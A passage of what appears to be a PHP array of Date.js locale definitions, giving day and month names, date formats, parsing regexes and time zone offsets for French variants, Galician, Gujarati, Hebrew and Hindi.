yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-CA' => 'Date.CultureInfo={name:"fr-CA",englishName:"French (Canada)",nativeName:"français (Canada)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-CH' => 'Date.CultureInfo={name:"fr-CH",englishName:"French (Switzerland)",nativeName:"français (Suisse)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-FR' => 'Date.CultureInfo={name:"fr-FR",englishName:"French (France)",nativeName:"français (France)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-LU' => 'Date.CultureInfo={name:"fr-LU",englishName:"French (Luxembourg)",nativeName:"français (Luxembourg)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'fr-MC' => 'Date.CultureInfo={name:"fr-MC",englishName:"French (Principality of Monaco)",nativeName:"français (Principauté de Monaco)",dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],abbreviatedDayNames:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],shortestDayNames:["di","lu","ma","me","je","ve","sa"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],abbreviatedMonthNames:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd d MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^janv(.(ier)?)?/i,feb:/^févr(.(ier)?)?/i,mar:/^mars/i,apr:/^avr(.(il)?)?/i,may:/^mai/i,jun:/^juin/i,jul:/^juil(.(let)?)?/i,aug:/^août/i,sep:/^sept(.(embre)?)?/i,oct:/^oct(.(obre)?)?/i,nov:/^nov(.(embre)?)?/i,dec:/^déc(.(embre)?)?/i,sun:/^di(m(.(anche)?)?)?/i,mon:/^lu(n(.(di)?)?)?/i,tue:/^ma(r(.(di)?)?)?/i,wed:/^me(r(.(credi)?)?)?/i,thu:/^je(u(.(di)?)?)?/i,fri:/^ve(n(.(dredi)?)?)?/i,sat:/^sa(m(.(edi)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'gl-ES' => 'Date.CultureInfo={name:"gl-ES",englishName:"Galician (Galician)",nativeName:"galego (galego)",dayNames:["domingo","luns","martes","mércores","xoves","venres","sábado"],abbreviatedDayNames:["dom","luns","mar","mér","xov","ven","sab"],shortestDayNames:["do","lu","ma","mé","xo","ve","sa"],firstLetterDayNames:["d","l","m","m","x","v","s"],monthNames:["xaneiro","febreiro","marzo","abril","maio","xuño","xullo","agosto","setembro","outubro","novembro","decembro"],abbreviatedMonthNames:["xan","feb","mar","abr","maio","xuñ","xull","ago","set","out","nov","dec"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^xan(eiro)?/i,feb:/^feb(reiro)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^maio/i,jun:/^xuñ(o)?/i,jul:/^xull(o)?/i,aug:/^ago(sto)?/i,sep:/^set(embro)?/i,oct:/^out(ubro)?/i,nov:/^nov(embro)?/i,dec:/^dec(embro)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(1)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mé(r(cores)?)?/i,thu:/^xo(v(es)?)?/i,fri:/^ve(n(res)?)?/i,sat:/^sa(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'gu-IN' => 'Date.CultureInfo={name:"gu-IN",englishName:"Gujarati (India)",nativeName:"ગુજરાતી (ભારત)",dayNames:["રવિવાર","સોમવાર","મંગળવાર","બુધવાર","ગુરુવાર","શુક્રવાર","શનિવાર"],abbreviatedDayNames:["રવિ","સોમ","મંગળ","બુધ","ગુરુ","શુક્ર","શનિ"],shortestDayNames:["ર","સ","મ","બ","ગ","શ","શ"],firstLetterDayNames:["ર","સ","મ","બ","ગ","શ","શ"],monthNames:["જાન્યુઆરી","ફેબ્રુઆરી","માર્ચ","એપ્રિલ","મે","જૂન","જુલાઈ","ઑગસ્ટ","સપ્ટેમ્બર","ઑક્ટ્બર","નવેમ્બર","ડિસેમ્બર"],abbreviatedMonthNames:["જાન્યુ","ફેબ્રુ","માર્ચ","એપ્રિલ","મે","જૂન","જુલાઈ","ઑગસ્ટ","સપ્ટે","ઑક્ટો","નવે","ડિસે"],amDesignator:"પૂર્વ મધ્યાહ્ન",pmDesignator:"ઉત્તર મધ્યાહ્ન",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^જાન્યુ(આરી)?/i,feb:/^ફેબ્રુ(આરી)?/i,mar:/^માર્ચ/i,apr:/^એપ્રિલ/i,may:/^મે/i,jun:/^જૂન/i,jul:/^જુલાઈ/i,aug:/^ઑગસ્ટ/i,sep:/^સપ્ટે(મ્બર)?/i,oct:/^ઑક્ટ્બર/i,nov:/^નવે(મ્બર)?/i,dec:/^ડિસે(મ્બર)?/i,sun:/^ર(વિ(વાર)?)?/i,mon:/^સ(ોમ(વાર)?)?/i,tue:/^મ(ંગળ(વાર)?)?/i,wed:/^બ(ુધ(વાર)?)?/i,thu:/^ગ(ુરુ(વાર)?)?/i,fri:/^શ(ુક્ર(વાર)?)?/i,sat:/^શ(નિ(વાર)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'he-IL' => 'Date.CultureInfo={name:"he-IL",englishName:"Hebrew (Israel)",nativeName:"עברית (ישראל)",dayNames:["יום ראשון","יום שני","יום שלישי","יום רביעי","יום חמישי","יום שישי","שבת"],abbreviatedDayNames:["יום א","יום ב","יום ג","יום ד","יום ה","יום ו","שבת"],shortestDayNames:["א","ב","ג","ד","ה","ו","ש"],firstLetterDayNames:["א","ב","ג","ד","ה","ו","ש"],monthNames:["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],abbreviatedMonthNames:["ינו","פבר","מרץ","אפר","מאי","יונ","יול","אוג","ספט","אוק","נוב","דצמ"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ינו(אר)?/i,feb:/^פבר(ואר)?/i,mar:/^מרץ/i,apr:/^אפר(יל)?/i,may:/^מאי/i,jun:/^יונ(י)?/i,jul:/^יול(י)?/i,aug:/^אוג(וסט)?/i,sep:/^ספט(מבר)?/i,oct:/^אוק(טובר)?/i,nov:/^נוב(מבר)?/i,dec:/^דצמ(בר)?/i,sun:/^א(ום א(אשון)?)?/i,mon:/^ב(ום ב(ני)?)?/i,tue:/^ג(ום ג(לישי)?)?/i,wed:/^ד(ום ד(ביעי)?)?/i,thu:/^ה(ום ה(מישי)?)?/i,fri:/^ו(ום ו(ישי)?)?/i,sat:/^ש(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'hi-IN' => 'Date.CultureInfo={name:"hi-IN",englishName:"Hindi (India)",nativeName:"हिंदी (भारत)",dayNames:["रविवार","सोमवार","मंगलवार","बुधवार","गुरुवार","शुक्रवार","शनिवार"],abbreviatedDayNames:["रवि.","सोम.","मंगल.","बुध.","गुरु.","शुक्र.","शनि."],shortestDayNames:["र","स","म","ब","ग","श","श"],firstLetterDayNames:["र","स","म","ब","ग","श","श"],monthNames:["जनवरी","फरवरी","मार्च","अप्रैल","मई","जून","जुलाई","अगस्त","सितम्बर","अक्तूबर","नवम्बर","दिसम्बर"],abbreviatedMonthNames:["जनवरी","फरवरी","मार्च","अप्रैल","मई","जून","जुलाई","अगस्त","सितम्बर","अक्तूबर","नवम्बर","दिसम्बर"],amDesignator:"पूर्वाह्न",pmDesignator:"अपराह्न",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^जनवरी/i,feb:/^फरवरी/i,mar:/^मार्च/i,apr:/^अप्रैल/i,may:/^मई/i,jun:/^जून/i,jul:/^जुलाई/i,aug:/^अगस्त/i,sep:/^सितम्बर/i,oct:/^अक्तूबर/i,nov:/^नवम्बर/i,dec:/^दिसम्बर/i,sun:/^र(वि(.(वार)?)?)?/i,mon:/^स(ोम(.(वार)?)?)?/i,tue:/^म(ंगल(.(वार)?)?)?/i,wed:/^ब(ुध(.(वार)?)?)?/i,thu:/^ग(ुरु(.(वार)?)?)?/i,fri:/^श(ुक्र(.(वार)?)?)?/i,sat:/^श(नि(.(वार)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'hr-BA' => 'Date.CultureInfo={name:"hr-BA",englishName:"Croatian (Bosnia and Herzegovina)",nativeName:"hrvatski (Bosna i 